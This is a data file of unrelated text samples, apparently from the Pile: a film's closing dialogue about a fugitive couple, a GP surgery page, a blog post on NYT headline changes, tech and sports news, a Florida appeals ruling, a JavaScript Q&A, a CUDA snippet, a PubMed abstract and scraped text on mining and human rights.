you, you understand?\" \"", "We don't want a lot of trigger-happy hillbillies around here.\" \"", "This is a nice cool town.\" \"", "Business is good.\" \"", "We don't want it heated up.\" \"", "You're hot.\" \"", "I'd say you got about an hour, maybe less, to get out of town.\" \"", "Here.\" \" ", "Keechie.\" \" ", "What is it?\" \"", "A detour.\" \"", "I don't know.\" \"", "Might be a road block.\" \" ", "Better not take a chance.\" \" ", "All right.\" \" ", "You all right?\" \" ", "I'll be all right in a minute.\" \"", "Hello, Mattie.\" \"", "How'd you get here?\" \"", "T-Dub told me about you having this place.\" \"", "Keechie's sick.\" \"", "I'm sorry about your man not getting out.\" \"", "If you're looking to stay here, I got no room.\" \"", "Your sign says vacancy.\" \"", "We gotta stay.\" \"", "I got no room.\" \" ", "She's sick bad.\" \"", "If it's money you want\" \" I don't want your money.\" \"", "I want you to get off this place and leave me alone.\" \"", "I don't like you, I don't like her, and I don't like the both of you together.\" \"", "You listen to me.\" \"", "You're a thief just like me.\" \"", "And you ain't gonna go yellow on us.\" \"", "Keechie's gonna stay here.\" \"", "And if you or anybody else don't like it, it's just too bad.\" \"", "All right.\" \"", "The one at the end on the left.\" \" ", "Is it open?\" \" ", "Yeah.\" \"", "Honey.\" \" ", "Where's there a doctor?\" \" ", "Back down the road, about half a mile.\" \" ", "Will you get him for us?\" \" ", "Go get him yourself.\" \"", "In the best interests of the people of this state, it is hereby agreed that Robert Mansfield, husband of the informant, shall be released at the earliest possible opportunity.\" \" ", "It is further\" \" Wait a minute.\" \"", "That could mean next to never.\" \"", "I wrote it just how we said it.\" \"\"", "The order for Robert Mansfield parole will be given as soon as information required for the apprehension of Bowie Bowers is proven true and results in his capture or death.\"\" \" ", "You've got that, Floyd?\" \" ", "Yes, sir.\" \"", "They're in Cabin 8.\" \" ", "I'll show you when you get there.\" \" ", "Warden.\" \" ", "Yes, sir?\" \" ", "You'll release Mansfield\" \" upon receipt of word from me.\" \" ", "Yes, sir.\" \"", "Let's go.\" \"", "Other people have done what you're doing, and then they're sorry afterwards.\" \"", "You needn't be.\" \"", "Sooner or later, Bowers'll be committing other robberies, killing maybe.\" \"", "He'd have to.\" \"", "It's the only way he can live.\" \"", "Perhaps that's our fault.\" \"", "Probably is.\" \"", "But it's too late.\" \"", "He hasn't got a chance.\" \"", "You've saved a lot of people a lot of grief.\" \"", "I don't think that's gonna help me sleep nights.\" \"", "Here, wet your lips with this.\" \"", "I want you to remember one thing.\" \"", "Don't talk like that, honey.\" \"", "Doctor said you'd be okay.\" \"", "Doctor's afraid for me, I can tell.\" \"", "Let that medicine put you to sleep and ride with it, don't fight it.\" \"", "Do you know some people don't have anybody... of their own?\" \"", "We're lucky.\" \"", "Honey, try and get some sleep.\" \"", "And I'll always be around, no matter what happens.\" \"", "I'll always be your little old girl.\" \"", "Bowie, what would you like our baby to be when he grows up?\" \"", "Just your son, that's all.\" \"", "Just want him to be your son.\" \"", "Don't go.\" \"", "What made you think I was going?\" \"", "I like us together.\" \"", "I like us so much.\" \"", "I'm gonna get us out of here, honey.\" \"", "It's gotta be Mexico.\" \"", "There ain't but one person in this world that can get us down there, just one.\" \"", "Fellow who married us.\" \"", "He can fix anything if there's money in it for him.\" \"", "Oh, but say it worked, honey.\" \"", "Say I went over there to that man now.\" \"", "I'd be back before you woke up.\" \"", "And then I'd like to see anybody try and stop us.\" \"", "Two days from now, we'd be down there in Mexico.\" \"", "For good.\" \"", "And nobody can touch us.\" \"", "Being a father makes a man responsible.\" \"", "You know that, Keechie?\" \"", "Say it didn't work... say something happened to me... they can't pin a thing in this world on you.\" \"", "The only wrong you ever did was to marry me.\" \"", "Say it didn't work, the only one to get rolled over is me.\" \"", "That's all right now.\" \"", "You got somebody else to think about now.\" \"", "Everybody's got to make a living.\" \"", "Vultures... that's all we are, son.\" \"", "I can't do it.\" \"", "You said you had a lot of friends down in Mexico.\" \" ", "Many good friends.\" \" ", "You said you could help us get across.\" \"", "Did I?\" \"", "Son, I'd sure like that money.\" \"", "I'm old and money's a real comfort to an old man.\" \"", "And maybe I did help you before.\" \"", "But not now.\" \"", "I believe in helping people get what they want as long as they can pay.\" \"", "I marry people because there's a little hope that they'll be happy.\" \"", "But I can't take this money of yours.\" \"", "No, sir.\" \"", "In a way, I'm a thief just the same as you are.\" \"", "But I won't sell you hope when there ain't any.\" \" ", "No chance?\" \" ", "None at all.\" \"", "No place for her and me?\" \"", "I don't know of any, son.\" \"", "Hello.\" \"", "Hello.\" \" ", "We wanna marry.\" \" ", "We'd like to marry.\" \"", "Well, sir, you've come to the right place.\" \"", "I have a $30 wedding which gives a complete recording of the ceremony on record.\" \" ", "Then I have a $20 wedding\" \" We'll take that.\" \"", "First, sign the register.\" \"", "Tillie, Herman.\" \"", "How's Keechie?\" \"", "She's still asleep.\" \"", "That's good.\" \"", "I'm sorry I got a little rough before, Mattie.\" \"", "Yeah.\" \"", "I just figured people like us ought to help each other.\" \"", "I want you to do one more thing.\" \"", "I'm not gonna see her again.\" \"", "Got no chance together, not a single one.\" \"", "I'm just a black sheep, and there's no getting around it.\" \"", "Without me, she'll make out fine.\" \"", "She's got money in the cabin, and here's some more.\" \"", "You take it, Mattie.\" \"", "You make sure the doctor keeps coming to see her.\" \"", "I'll write to you.\" \"", "I'll let you know when and where she can come to me.\" \"", "Ain't you gonna see her just once more?\" \"", "No, I'd have to tell her.\" \"", "It's safer this way.\" \"", "She's asleep.\" \"", "You ought to see her again.\" \"", "You won't wake her.\" \"", "She'll be glad to know you came back and saw her just one last time.\" \" ", "I don't know, I\" \" It's only a thing women would know about.\" \"", "Maybe if I don't wake her.\" \"", "Maybe you're right.\" \"", "Of course I'm right.\" \"", "You got a piece of paper, Mattie?\" \"", "There's something I never told her.\" \"", "That's fine.\" \"", "She'll like that.\" \"", "Thanks, Mattie.\" \"", "Freeze, Bowers!\" \"\"", "Little old girl...\" \"I'm gonna miss you... but I gotta do it this way.\" \"", "I'll send for both of you when I can.\" \"", "No matter how long it takes.\" \"", "I've gotta see that kid.\" \"", "He's lucky.\" \"", "He'll have you to keep him... squared around.\" \"", "I love you.\" \"", "Bowie.\"\" \"", "Bowie.\"" ]

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[ "March 2014\n\nWe have just completed our full patient participation group (PPG) report. ", "To view the full report, click here\n\nNovember 2013\n\nThe Argyle Surgery has recently changed its Clinical System to a new ProviderWe have tried to minimise the impact but patients may notice some disruption at the practice. ", "We apologise for any inconvenience.", "\n\nThe Argyle Surgery is currently taking on new patients. ", "If you are interested in becoming a patient at The Argyle Surgery, click here, or use the contact page by clicking on the link above or left.", "\n\nThe Argyle Surgery is a teaching and training practice, training GP Registrars and teaching Medical Students, serving the population in Ealing. ", "Our team provides a warm, friendly, patient centred welcoming environment. ", "The languages spoken at the practice are English, Dutch, German, Polish, Punjabi, Tamil and Farsi.", "\n\nLatest News from the NHS and the BBC:\n\nNews from the NHS and the BBC Here\n\nUpdated July 2011 by Andrew Godfrey and Arjun Dhillon. ", "Contact the webmaster by clicking here." ]

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[ "January 30, 2005\n\nEarlier today, I commented on the somewhat positive NYT headlines here, including one that said \"Amid Attacks, a Party Atmosphere on Baghdad's Closed Streets.\" ", "That article was picked up by Memeorandum, which collects blog commentary on it: a lot of prominent bloggers have observed that even the NYT is acknowledging the great success. ", "Then, I clicked on the link for the article and the headline is now:\n\nInsurgent Attacks in Baghdad and Elsewhere Kill at Least 24\n\nThe text remains the same:\n\nAfter a slow start, voters turned out in very large numbers in Baghdad today, packing polling places and creating a party atmosphere in the streets as Iraqis here and nationwide turned out to cast ballots in the country's first free elections in 50 years.", "\n\nReally, that is one of the most pathetic things I've ever seen the New York Times do.", "\n\nUPDATE: Welcome Instapundit readers. ", "I checked the Times headline again, and it's changed once again, not to return us to the \"party atmosphere,\" but to emphasize the number who have died: \"Attacks in Baghdad and Elsewhere Reportedly Kill Several Dozen.\"", "\n\nGlad my site (memeorandum) could be of this unique service. ", "I should add that the older versions WILL persist on my site, for better or for worse, by design.", "\n\nFYI, here is the headline progression for this piece that my site picked up throughout the day. ", "You might have missed the initial version, which was even more upbeat than the one you cited (the second).", "\n\nTIME HEADLINE09:24 High Turnout in Baghdad Points to Early Success10:24 Amid Attacks, a Party Atmosphere on Baghdad's Closed Streets18:26 Insurgent Attacks in Baghdad and Elsewhere Kill at Least 2420:50 Attacks in Baghdad and Elsewhere Reportedly Kill Several Dozen\n\nYET ANOTHER UPDATE: Blasting me as a \"wingnut\" for this post, Kevin Drum at the Washington Monthly delivers an irrelevant lecture about how newspaper websites work. ", "He fails to see the point, which is awfully clear in my post, that the changing headlines were for the very same article. (", "Thanks to The Unpopulist for pointing me to Drum's post.) ", "There are 54 comments on Drum's post at the moment, and, though I haven't read them all, most of them seem to be from people who are just accepting Drum's mistaken point about my post. ", "There is at least one commenter in there who keeps trying to point out the mistake, but the passion for denouncing the optimism of imagined crazy right wing bloggers is so strong that it overwhelms the interest in the facts. ", "And the irony is that Drum's main point is that those who are taking an optimistic view don't respect the truth. ", "It would be bad if I were disrespecting the truth out of optimism, of course. ", "But Drum is disrespecting the truth out of an aversion to optimism, which is really quite sad.", "\n\nIf you go over there, you might want to leave a comment in my defense. ", "And if you're into that, leave a comment for me over here too. ", "I'm surprised at the way some lefty blogs seem to think they are making a good point by quoting something and saying the person who wrote it is stupid or crazy, even as they are plainly misreading the very thing they quote.", "\n\nSTILL MORE: I discuss the fallout from this post here. ", "And this is a related post too." ]

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[ "Advanced Micro Devices will take a fundamentally different approach to designing chips as it tries to move away from playing second fiddle to Intel.", "\n\nThe company will blur the lines between CPUs and graphics processors in future chip design cycles, with both units sharing a memory pool and running common software applications, said AMD CTO Mark Papermaster Thursday during a financial analyst conference speech that was webcast.", "\n\nAMD is also opening up its chips for integration of third-party intellectual property, which is the best way for the company to offer customized chips for specific customer needs, Papermaster said.", "\n\n\"It's more quick, more agile and tailored to the problem they want to solve,\" Papermaster said. ", "An example is the data center, where intellectual property in the chip can be mixed and matched with IP to help tailor chips for cloud, Web serving or high-performance tasks, Papermaster said.", "\n\nThe new chip architectural approach comes as AMD rebuilds its product portfolio and restructures its business model. ", "The company appointed new CEO Rory Read just five months ago and Papermaster took on the role of CTO in October. ", "Executives speaking at the analyst day event being held in Sunnyvale, California, continuously hit on the need to adopt a more \"agile\" business model that could respond quicker to customer needs.", "\n\nAMD's current chips integrate CPUs and graphics processors based on the company's intellectual property. ", "The CPUs and GPUs perform different functions and run different software code -- for example, antivirus software is processed on CPUs and not on GPUs. ", "The more resource-intensive graphics applications like Adobe Flash are offloaded to GPUs, freeing up CPUs to process other tasks.", "\n\nAMD's new chip design, called HSA (heterogeneous systems architecture), will reach maturity by 2014 with 64-bit addressing, virtual memory, better internal bandwidth and software taking advantage of both processing units, Papermaster said. ", "A chip code-named Kabini for low-power laptops due in 2013 will see HSA at work, according to an AMD slide deck.", "\n\nAMD is also leading the formation of an organization to bring software development tools so coders can write applications for HSA. ", "The company hopes to open source the tools, and more details about its progress will be shared later this year.", "\n\n\"The way to really bring momentum ... is to bring the industry with us,\" Papermaster said.", "\n\nDepending on whether partners buy into HSA, the new approach would allow AMD to tackle the chip market in a fundamentally different way from Intel, which controls the IP and sells the parts, said Charles King, principal analyst at Pund-IT, who was at the event.", "\n\n\"The sense I get here is that they're not going to be satisfied with being a follower,\" King said.", "\n\nOpening up the chip to external IP has worked well in some cases, but questions remain on how effective a growth driver it will be for AMD's chips, King said.", "\n\nThough details are lacking, this is a strategic announcement intended to set the company's direction for the future, King said." ]

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[ "Prenatal Fitness Class\n\nYou can expect a safe and energizing routine in each class with: yoga, low impact cardio, strength training, and stretches to support your pregnancy and prepare your body for labor and delivery. ", "Safe for each trimester. ", "Visit the link to register and learn more. ", "http://www.briowomensfitness.com/take-action/" ]

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[ "\n474 So.2d 1242 (1985)\nJohn SAVAGE-HAWK and Lisa Savage-Hawk, His Wife, Appellants,\nv.\nPREMIER OUTDOOR PRODUCTS, INC., ", "Appellee.", "\nNo. ", "84-2429.", "\nDistrict Court of Appeal of Florida, Second District.", "\nSeptember 4, 1985.", "\n*1243 Michael S. Edenfield and Martha Kaye Covington, Brandon, for appellants.", "\nAlbert C. Kreischer, Jr. of Fuentes and Kreischer, Tampa, for appellee.", "\nRYDER, Chief Judge.", "\nJohn and Lisa Savage-Hawk appeal an order denying rehearing of a final judgment in which the court ordered them to pay $10,000.00 plus interest to the appellee, Premier Outdoor Products, Inc. We reverse.", "\nPremier Outdoor Products filed a complaint, alleging that it had entered into a verbal agreement to sell Premier Archery Center to the Savage-Hawks, that as part of the consideration for the sale the Savage-Hawks agreed to assume a $10,000.00 debt, and that the Savage-Hawks had failed to pay the debt.", "\nIn April of 1984, the trial judge held a pretrial conference. ", "After determining that there was no possibility for settlement among the parties, the judge asked each attorney to present a brief synopsis of the evidence to be presented at trial. ", "The trial judge, on his own volition, inquired as to the Savage-Hawks' tax treatment of certain items for the year 1982. ", "The Savage-Hawks' attorney summarized the deposition testimony of the Savage-Hawks' accountant, and stated that the accountant would testify at trial that the Savage-Hawks' 1982 Form 1040 may have included a deduction for interest alleged to have been paid by the Savage-Hawks to Premier on the alleged debt. ", "Counsel advised the court that the Savage-Hawks' accountant was also the accountant for Premier, and that all entries made by the accountant were done from instructions provided by Premier, not the Savage-Hawks. ", "Counsel also advised that the Savage-Hawks were without knowledge as to the items comprising any interest deduction on their 1982 Form 1040. ", "Counsel for the Savage-Hawks then stated that he objected to the court considering any information regarding the tax form without the opportunity to cross-examine the accountant. ", "Premier proffered documentary evidence, including the Savage-Hawks' bookkeeping records for the business, certain cancelled checks issued by the Savage-Hawks in payment of the alleged indebtedness, and the Savage-Hawks' income tax return for 1982. ", "These records were not actually filed with the court until July 20, 1984.", "\nThe trial judge advised counsel for both parties that he would enter a judgment for Premier. ", "The Savage-Hawks' counsel objected to the entry of judgment without the opportunity to cross-examine Premier and without the opportunity to present evidence on their affirmative defenses. ", "Counsel for each party were unable to agree on the wording to be included in the final judgment, therefore, the trial judge held a conference on June 19, 1984 to reconcile differences as to the content of the final judgment. *", "1244 At this time, the Savage-Hawks' counsel once again objected to the entry of a judgment without the opportunity to cross-examine plaintiff and to present testimony regarding their affirmative defenses.", "\nOn August 9, 1984, the trial court entered judgment against the Savage-Hawks for damages, prejudgment interest and court costs. ", "The order stated that based on the documentary evidence of their bookkeeping records and the 1982 income tax return, the Savage-Hawks had made payments on the indebtedness, had carried the indebtedness upon their books and records from its inception, and had included it on their 1982 income tax return as a deductible expense. ", "Additionally, the Savage-Hawks made several payments for this indebtedness as evidenced by cancelled checks which contain notations that they were issued in repayment of this loan indebtedness. ", "Although the Savage-Hawks said they had no knowledge that their accountant had carried this indebtedness on their books and records and did not know that it was included in their 1982 tax return, the court found that the Savage-Hawks were presumed to have had knowledge of the information contained on their tax return. ", "Furthermore, they did not make any effort to amend their return after having gained knowledge of the interest inclusion on the return. ", "The court then entered judgment against the Savage-Hawks for $10,000.00, together with interest. ", "The court denied the Savage-Hawks' subsequent motion for rehearing.", "\nAlthough we recognize that a trial judge may enter a summary judgment on his own motion at a pretrial conference, such a procedure should be employed with an abundance of caution. ", "Bess v. 17545 Collins Avenue, Inc., 98 So.2d 490, 491 (Fla. 1957). ", "Furthermore, the presumption of correctness of a court's ruling based upon a written record of pleadings, affidavits and depositions is not as strong as where the court heard the witnesses itself or ruled on conflicting evidence. ", "See West Shore Restaurant Corp. v. Turk, 101 So.2d 123, 126 (Fla. 1958); C.A. Hansen Corp. v. Aetna Insurance Co., 455 So.2d 1329, 1332 (Fla. 4th DCA 1984). ", "There are several reasons why we cannot affirm the judge's final summary judgment on the facts of this case.", "\nThe record is silent as to whether the trial judge actually had the documentary evidence before him when he made his ruling at the April 1984 pretrial conference. ", "The appellee only states that they proffered the documentary evidence at this time. ", "The appellant states that the record is clear that no evidence was presented to the court at that conference. ", "Because we have no record of that conference before us, we are unable to ascertain that the judge had the documentary evidence at that time. ", "We also note that the documents in question were not filed with the court until July 20, 1984.", "\nAdditionally, at the time of the ruling, the court did not have the deposition of the accountant, which was not filed until after the court entered the final judgment. ", "The accountant appears to be a key witness, and essential to fully understanding the financial transactions in this case, especially because he was the accountant for both parties. ", "Lastly, there is a question as to whether the $5,400.00 which appellants paid should have been credited against the alleged $10,000.00 debt, or whether it had already been applied to settle a replevin action between the parties.", "\nFor these reasons, therefore, we reverse and set aside the final judgment, and the matter is remanded for further proceedings.", "\nDANAHY and CAMPBELL, JJ., ", "concur.", "\n" ]

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[ "Q:\n\nProcessing a big data in Javascript variables: bad practice?", "\n\nI will need to have an array that should be rearranged from time to time.", "\nThe expected size of the array will be let's say thousands of rows 3-4 columns per row. ", "One of the columns will be a integer number which is a sorting key. ", "The sorting will be performed each time user take an action (let's say once in 10 seconds).", "\nEarlier I'd perform this action of a server side with MySQL (which has a bunch well optimized sorting methods). ", "However I decided to consider the possibility of performing this on a client side (in the browser).", "\nThis would be a great resource economy for my server however I don't have any experience with such kind of data manipulation and I don't know if it will hang user's browser due to huge CPU or memory usage.", "\nI could test this in my browser but if it will work for me it is no guarantee that it will work well in all browsers for all users.", "\nSo I'd say that my question is: is it a good practice to manipulate a big data in user's browser?", "\n\nA:\n\nI advise you to measure the time needed to process a sorting operation on your Array on the executing plateforme you have chosen.", "\nthen you'll determine if you can sort once 1 ten seconds.", "\nAsk if you need method to measure, I will post as an EDIT of this answer.", "\nAs for your arcitecture, I think you can push raw array with Ajax from your server, and let the user sort it in his browser\nEDIT : an exemple of time measure for the fullfill of a 10000000 pseudo-random doubles and the calculation of the average value \nvar maxLength = 10000000;\nvar array = [];\nvar somme = 0;\nvar moyenne = 0;\nvar start = Date.now();\nfor (var i = 0; i < maxLength; i++)\narray.push(1023*i/23);\nfor (var i = 0; i < maxLength; i++)\n somme += array[i];\nmoyenne = somme/array.length;\nvar stop = Date.now();\nvar lasting = stop - start;\nconsole.log(moyenne);\nconsole.log(\"executing time = \" + lasting + \" ms\");\n\n" ]

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[ "Samuel Brandon\n\nSamuel Brandon may refer to:\n\nSamuel Brandon (author), 16th-century English writer\nSam Brandon (born 1979), American football player\nS. G. F. Brandon (Samuel George Frederick Brandon, 1907–1971), comparative theologian" ]

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[ "Indianapolis Colts: Marlon Mack brings youth, life to running game\n\nThe Indianapolis Colts addressed a lacking running game in the 2017 NFL Draft with fourth-round pick Marlon Mack, who brings life to the backfield.", "\n\nWith Frank Gore, the Indianapolis Colts have one of the most underrated running backs in NFL history in the backfield. ", "Unfortunately, they also have a lead back whose in his early 30s and not the player he once was. ", "Thus, they needed to address that in the 2017 NFL Draft, and did so with Marlon Mack in the fourth round.", "\n\nMack is the all-time leading rusher for the University of South Florida, breaking that mark as a junior. ", "He also holds the school record for rushing touchdowns with 32. ", "Mack tied the school’s single-game rushing record in his first-ever game with 275 yards. ", "He averaged 6.2 yards per carry and over 100 yards per game throughout his time at South Florida.", "\n\nArticle continues below ...\n\nAt the NFL Combine, Mack tied for fourth among running backs in the broad jump, posting​ a mark of 125 inches, and also ranked eighth in the vertical jump with a mark of 35.5 inches. ", "His 40-yard dash time of 4.50 seconds placed him ninth among his peers, although a mark of 4.48 would have tied him with the fourth fastest, and he was obviously not far off.", "\n\nThis guy is a slasher, folks. ", "He brings speed and explosive change of direction. ", "Of his 15 rushing touchdowns last year, six were runs over 40 yards. ", "He adds the breakaway, big-play element that the Colts were lacking. ", "Gore and Robert Turbin both have a bruising, run-it-down-your-throat style, whereas Mack is more the slippery, “where-did-he-go?” ", "type of runner.", "\n\nThe biggest negative with Mack is his inability to hold on to the ball, coughing up 12 fumbles in a three-year period. ", "A trait such as that will be utilized by defenders and may prove a significant liability. ", "NFL defences will be well aware of Macks reputation for fumbling and will constantly try to pry the ball away — if they can catch him.", "\n\nAnother area of trouble may be his tendency to bounce outside. ", "Running backs can get away with that in college, but with the speed throughout the NFL, he may find himself in trouble more often than not.", "\n\nHe has improved as a receiver during his time in college and should provide an adequate option out of the backfield. ", "The Colts will find ways to get him the ball and he is the type that can score from anywhere on the field.", "\n\nHere are a few evaluations of Mack to consider, starting with Mark Dulgerian of NFL.com:\n\nMack is a slashing, big play running back–everything Frank Gore isn’t. ", "While they hope to get more from their offensive line this season, Mack is no stranger to running and creating behind suspect O-line units at USF. ", "He’ll split carries, but he has the ability to impact this offense from Day 1.", "\n\nScat back with decent size and blazing getaway speed. ", "Mack has plenty of wiggle to bounce from run lane to run lane and make tacklers miss, but he has a penchant for looking to break runs way outside when the interior becomes too trafficked and he won’t be able to get away with that against NFL speed. ", "Mack is a complementary runner who can hit big runs against defenses who have been worn down, but he needs to be matched with the right scheme in order to unlock his big-play potential.", "\n\nIn Marlon Mack, the Colts have brought aboard an exciting option at running back. ", "Described with terms like blazing, slither, wiggle, slashing, explosive, slippery, and record-breaker, Mack is likely to find himself with a great many fans in Indianapolis." ]

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[ "Israel has reportedly approved a budget for the construction of the so-called Eastern Ring Road in the occupied West Bank, known by activists and rights groups as the “Apartheid road.”", "\n\nThe road, part of Israel’s plans of developing the controversial E1 corridor, has been denounced as an attempt to further expand illegal Israeli settlement construction in the occupied Palestinian territory, while deepening the separation between Palestinian communities on opposite sides of Israel’s separation wall.", "\n\nAccording to a statement released by Israeli rights group Ir Amim on Monday, the development of the road is “one of several developments necessary for preparing the ground for E1.”", "\n\nThe reports emerged from Israeli media outlet Israel Hayom, which stated that the road is expected to be opened to Israeli traffic in the next 10 months.", "\n\nAccording to rights groups, settlement construction in E1 would effectively divide the West Bank and make the creation of a contiguous Palestinian state – as envisaged by the internationally backed two-state solution to the Palestinian-Israeli conflict – almost impossible.", "\n\nIsraeli activity in E1 has attracted widespread international condemnation, and Palestinian President Mahmoud Abbas has in the past said that “E1 is a red line that cannot be crossed.”", "\n\nHowever, the Eastern Ring Road was proposed by former Israeli Prime Minister Ariel Sharon as a plan to apparently solve the issue of bifurcating the West Bank, by facilitating “navigation from Ramallah to Bethlehem for Palestinians but without any access to Jerusalem.”", "\n\nFollowing the second Palestinian intifada and Israel’s construction of the separation wall that has disjointed Palestinian territory, Palestinians from the “West Bank side” of the separation barrier have been forced to obtain Israeli-issued permits in order to access occupied East Jerusalem, which some Palestinians and the international community still consider to be the future capital of an independent Palestinian state.", "\n\nA map released by Ir Amim shows the expected route of the road. ", "According to the group, the road would “ease access” for Israeli settlers residing around Ramallah in contravention of international law, as settlers have “long exerted pressure to open the road, complaining about traffic jams and delays.”", "\n\nRead: Knesset passes draft bill to annex illegal West Bank settlements\n\nIr Amim pointed out that the Israel’s plan would enable further expansions of Israel’s illegal settlements around Ramallah.", "\n\nThe road is also planned to connect with Road 1 that connects the mega settlement Maale Adumim with Jerusalem, and would also link to the Mount Scopus Tunnel Road through the Zeitim interchange, another controversial E1 related project that Israeli authorities had begun construction on several months ago, according to Ir Amim.", "\n\nIsrael’s plans in E1 have long been denounced by rights groups and the international community since its approval in 1999, in the wake of the Oslo Accords which expected the area of E1 to be transferred to the Palestinian Authority (PA) within an interim period of five years." ]

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[ "While we're on the subject (....still....) of who owns what and how and why there will never ever be a cross-studio crossover in the MCU, let me just drop this screencap of the Manhattan skyline from tonight's \"Agents of SHIELD\" teaser trailer:" ]

{ "pile_set_name": "Pile-CC" }

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[ "\n\n#include \"file1.h\"\n#include \"file2.h\"\n\nresult_type __device__ file1_func(int x);\nresult_type_dynamic __device__ file2_func(int x);\n\nstatic __global__ void file3_kernel(result_type& r, int x)\n{\n // call static_func which is a method that is defined in the\n // static library that is always out of date\n r = file1_func(x);\n result_type_dynamic rd = file2_func(x);\n}\n\nresult_type file3_launch_kernel(int x)\n{\n result_type r;\n file3_kernel<<<1, 1>>>(r, x);\n return r;\n}\n" ]

{ "pile_set_name": "Github" }

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[ "Proposed Confidence Scale and ID Score in the Identification of Known-Unknown Compounds Using High Resolution MS Data.", "\nHigh-resolution (HR) MS instruments recording HR-full scan allow analysts to go further beyond pre-acquisition choices. ", "Untargeted acquisition can reveal unexpected compounds or concentrations and can be performed for preliminary diagnosis attempt. ", "Then, revealed compounds will have to be identified for interpretations. ", "Whereas the need of reference standards is mandatory to confirm identification, the diverse information collected from HRMS allows identifying unknown compounds with relatively high degree of confidence without reference standards injected in the same analytical sequence. ", "However, there is a necessity to evaluate the degree of confidence in putative identifications, possibly before further targeted analyses. ", "This is why a confidence scale and a score in the identification of (non-peptidic) known-unknown, defined as compounds with entries in database, is proposed for (LC-) HRMS data. ", "The scale is based on two representative documents edited by the European Commission (2007/657/EC) and the Metabolomics Standard Initiative (MSI), in an attempt to build a bridge between the communities of metabolomics and screening labs. ", "With this confidence scale, an identification (ID) score is determined as [a number, a letter, and a number] (e.g., 2D3), from the following three criteria: I, a General Identification Category (1, confirmed, 2, putatively identified, 3, annotated compounds/classes, and 4, unknown); II, a Chromatography Class based on the relative retention time (from the narrowest tolerance, A, to no chromatographic references, D); and III, an Identification Point Level (1, very high, 2, high, and 3, normal level) based on the number of identification points collected. ", "Three putative identification examples of known-unknown will be presented. ", "Graphical Abstract ᅟ." ]

{ "pile_set_name": "PubMed Abstracts" }

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[ "Human rights and mining company\n\nVancouver — an upcoming decision from canada’s top court on whether allegations of human rights abuses filed against a vancouver mining company will go to trial in canada could set a groundbreaking precedent, according to a human rights watchdog. ", "Human rights & developing countries mines and refineries in underdeveloped countries can be very lucrative, and very dangerous outsourcing production is a common solution, but profits for multinational corporations often come at the expense of the local population's well-being. ", "3 the human rights clinics at the university of quebec and the university of texas, mining watch canada, halifax initiative, desarrollo y paz canada, and york university’s osgoode hall law school collaborated in the drafting of the report by providing technical inputs and remarks. ", "Mining and human rights in malawi “the mining company brought me problems” after nine years of suffering and hunger without protection from the government or the mining company, she has. ", "While cobalt mining is not thought to be funding wars, many activists and some industry analysts say cobalt miners could benefit from the law’s protection from exploitation and human rights abuses.", "\n\nThis measurement theme focuses on the extent to which a company provides remedy in addressing actual adverse impacts on human rights it covers a company’s approach to providing or cooperating in remediation when human rights harms – actual human rights impacts – have occurred. ", "Csr abroad – human rights with its staff to explain to the cambodian staff why human rights are so important in the ethical development of a mining sector aurico gold inc the company ensures compliance with its current anti-discrimination policy in the code of business conduct and ethics throughout its operations with the. ", "On the other hand, a well thought through approach to human rights will support the smooth running of a project, enhance the reputation of the mining company, and help to protect the returns for.", "\n\nHuman rights violations by canadian companies abroad: choc v hudbay minerals inc susana mijares peña introduction canadian mining corporations operating abroad represent a challenge to international and canadian. ", "Sarw southern africa resource watch human rights violations by chinese mining companies in sub-saharan africa a stakeholder’s submission to the universal periodic review of china submitted by the international environmental law project at. ", "Nevsun resources ltd, a case that raises important issues about a canadian company's liability for alleged human rights abuses committed by a foreign state in connection with a commercial venture in which the canadian company was participating. ", "A human rights assessment report has painted a harsh portrait of the canadian gold mining giant goldcorp the report was commissioned by the company in response to growing concerns from shareholder groups about human rights violations at its marlin mine in the western highlands of guatemala.", "\n\nParent company liability and human rights – new claims against mining company filed in the english courts on 16 april, proceedings were issued in the english courts against gemfields limited, a london-based mining company, in relation to allegations of human rights abuses in connection with the activities of its subsidiary in the vicinity of. ", "Indonesian mining company bumi, founded by financier nat rothschild, was on thursday accused of human rights abuses at a heated annual general meeting. ", "Resource, human rights watch, initiative for responsible mining assurance, intersocial, institute for human rights and business, international alliance on natural resources in africa, international council on mining & metals (icmm), limpitlaw. ", "As the united nations debates eritrea’s troubled human rights record, an australian mining company has taken the extraordinary step of appearing with the eritrean regime to help it defend its actions.", "\n\nHuman rights and mining company\n\nHuman rights groups like nisgua are calling on tahoe investors, including california’s largest public pension fund, which owns more than $4 million in company stock as of its latest annual. ", "Rights and obligations in terms of the mining code that regulates the conditions for the opening, mining and closing of the mines, as well as the working conditions of mine employees and the role of state. ", "With more than 95 years of history in the mining industry, newmont is one of the world's largest gold producers through responsible mining, we believe we can create a stronger business and value for all our stakeholders. ", "Home » bc trial on alleged human rights violations by canadian mining company in guatemala can proceed bc trial on alleged human rights violations by canadian mining company in guatemala can proceed by christopher burkett & jennifer bernardo on june 13, 2017.", "\n\nWashington, dc — following the release of an independent review of newmont mining corporation's human rights practices at yanacocha gold mine in northern peru, international aid agency oxfam america urges the mining company to address human rights concerns at the peru gold mine. ", "6 human rights in the minerals industry 1 summary mining companies have been criticized for their complicity in the human rights abuses of people and indigenous populations at risk.", "\n\nThe battle between the amadiba wild coast community and australian mining company mineral resources commodities (mrc) has been going on for years. ", "Debswana diamond company ltd, or simply debswana, is a mining company located in botswana, and is the world's leading producer of diamonds by value debswana is a joint venture between the government of botswana and the south african diamond company de beers each party owns 50% of the company. ", "Nevsun resources, a british columbia mining company, has asked the supreme court to hear its appeal from a recent bc ruling that would send the human rights claims of a group of eritrean plaintiffs towards trial. “", "the company is perpetuating human rights abuse especially against the employees and even against the community and we are telling the government to investigate the matter and take action even if it means revoking the work permit of the mining company” said honcherargei." ]

{ "pile_set_name": "Pile-CC" }

